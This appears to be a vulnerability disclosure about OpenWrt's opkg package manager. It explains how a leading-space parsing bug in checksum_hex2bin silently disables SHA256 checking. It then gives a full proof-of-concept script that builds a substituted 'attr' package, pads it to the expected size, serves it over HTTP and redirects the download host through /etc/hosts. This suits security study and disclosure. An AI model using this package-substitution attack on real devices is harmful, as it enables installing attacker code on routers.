Package: attr
Version: 2.4.48-2
Depends: libc, libattr
License: GPL-2.0-or-later
Section: utils
Architecture: x86_64
Installed-Size: 11797
Filename: attr_2.4.48-2_x86_64.ipk
Size: 12517
SHA256sum: 10f4e47bf6b74ac1e49edb95036ad7f9de564e6aba54ccee6806ab7ace5e90a6
Description: Extended attributes support
This package provides xattr manipulation utilities
- attr
- getfattr
- setfattr

else if ((mask & PFM_SHA256SUM) && is_field("SHA256sum", line))
pkg_set_sha256(pkg, line + strlen("SHA256sum") + 1);

Source

pkg_set_sha256 will attempt to decode the SHA256sum field from hexadecimal to binary and store it in an internal representation:

 char *pkg_set_sha256(pkg_t *pkg, const char *cksum)
{
size_t len;
char *p = checksum_hex2bin(cksum, &len);

if (!p || len != 32)
return NULL;

return pkg_set_raw(pkg, PKG_SHA256SUM, p, len);
}

Source

However, if decoding fails, it silently fails without storing the hash.

The actual bug is in checksum_hex2bin. It is fairly easy to overlook. Can you spot it?

 char *checksum_hex2bin(const char *src, size_t *len)
{
size_t slen;
unsigned char *p;
const unsigned char *s = (unsigned char *)src;
static unsigned char buf[32];

if (!src) {
*len = 0;
return NULL;
}

while (isspace(*src))
src++;

slen = strlen(src);

if (slen > 64) {
*len = 0;
return NULL;
}

for (p = buf, *len = 0;
slen > 0 && isxdigit(s[0]) && isxdigit(s[1]);
slen--, s += 2, (*len)++)
*p++ = hex2bin(s[0]) * 16 + hex2bin(s[1]);

return (char *)buf;
}

Source

Initially, the s and src variables point to the same address.

On line 246, the src variable is advanced to the first non-space character. However, the actual decoding, which happens inside the for loop starting on line 256 operates on the s variable, which still points to the very start of the string.

Hence, if the input string has any leading spaces, this will attempt to decode the space character. The space is not a hexadecimal character, so isxdigit() returns false, and the decoder loop will exit immediately, leaving *len set to 0.

If we look at the package parser again, we see that the string passed to pkg_set_sha256 is the part of the line after “SHA256sum:

pkg_set_sha256(pkg, line + strlen("SHA256sum") + 1);

In effect, this means that the first character of that string is a space.

After the package list parsing has completed, the package is downloaded, again over HTTP.

Several verification steps follow.

The size of the downloaded package must be equal to that specified in the package list:

pkg_expected_size = pkg_get_int(pkg, PKG_SIZE);

if (pkg_expected_size > 0 && pkg_stat.st_size != pkg_expected_size) {
if (!conf->force_checksum) {
opkg_msg(ERROR,
"Package size mismatch: %s is %lld bytes, expecting %lld bytes\n",
pkg->name, (long long int)pkg_stat.st_size, pkg_expected_size);
return -1;
} else {
opkg_msg(NOTICE,
"Ignored %s size mismatch.\n",
pkg->name);
}
}

Source

And if a SHA256 hash was specified for this package, it must match:

/* Check for sha256 value */
pkg_sha256 = pkg_get_sha256(pkg);
if (pkg_sha256) {
file_sha256 = file_sha256sum_alloc(local_filename);
if (file_sha256 && strcmp(file_sha256, pkg_sha256)) {
if (!conf->force_checksum) {
opkg_msg(ERROR,
"Package %s sha256sum mismatch. "
"Either the opkg or the package index are corrupt. "
"Try 'opkg update'.\n", pkg->name);
free(file_sha256);
return -1;
} else {
opkg_msg(NOTICE,
"Ignored %s sha256sum mismatch.\n",
pkg->name);
}
}
if (file_sha256)
free(file_sha256);
}

#!/bin/bash

# Download the package lists for mirroring
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.sig

mv downloads.openwrt.org/snapshots .rm -rf downloads.openwrt.org/

# Get the original package
wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/attr_2.4.48-2_x86_64.ipk
ORIGINAL_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk")
tar zxf attr_2.4.48-2_x86_64.ipk
rm attr_2.4.48-2_x86_64.ipk

# Extract the binaries
mkdir data/
cd data/
tar zxvf ../data.tar.gz
rm ../data.tar.gz

# Build the replacement binary. It is a very small program that prints a string.
rm -f /tmp/pwned.asm /tmp/pwned.o
echo "section .text" >>/tmp/pwned.asm
echo "global _start" >>/tmp/pwned.asm
echo "_start:" >>/tmp/pwned.asm
echo " mov edx,len" >>/tmp/pwned.asm
echo " mov ecx,msg" >>/tmp/pwned.asm
echo " mov ebx,1" >>/tmp/pwned.asm
echo " mov eax,4" >>/tmp/pwned.asm
echo " int 0x80" >>/tmp/pwned.asm
echo " mov eax,1" >>/tmp/pwned.asm
echo " int 0x80" >>/tmp/pwned.asm
echo "section .data" >>/tmp/pwned.asm
echo "msg db 'pwned :)',0xa" >>/tmp/pwned.asm
echo "len equ $ - msg" >>/tmp/pwned.asm

# Assemble
nasm /tmp/pwned.asm -f elf64 -o /tmp/pwned.o

# Link
ld /tmp/pwned.o -o usr/bin/attr

# Pack into data.tar.gz
tar czvf ../data.tar.gz *
cd ../

# Remove files no longer needed
rm -rf data/

# Pack
tar czvf attr_2.4.48-2_x86_64.ipk control.tar.gz data.tar.gz debian-binary

# Remove files no longer needed
rm control.tar.gz data.tar.gz debian-binary

# Compute the size difference between the original package and the compromised package
MODIFIED_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk")
FILESIZE_DELTA="$(($ORIGINAL_FILESIZE-$MODIFIED_FILESIZE))"

# Pad the modified file to the expected size
head /dev/zero -c$FILESIZE_DELTA >>attr_2.4.48-2_x86_64.ipk

# Download the dependency of attr
wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/libattr_2.4.48-2_x86_64.ipk

# Position the files for serving from the web server
mkdir -p snapshots/packages/x86_64/packages/
mv attr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/
mv libattr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/

# Launch a basic web server that opkg will be connecting to
sudo python -m SimpleHTTPServer 80

If we assume that the web server IP is 192.168.2.10, running following commands on an OpenWRT system:

 echo "192.168.2.10 downloads.openwrt.org" >>/etc/hosts; opkg update && opkg install attr && attr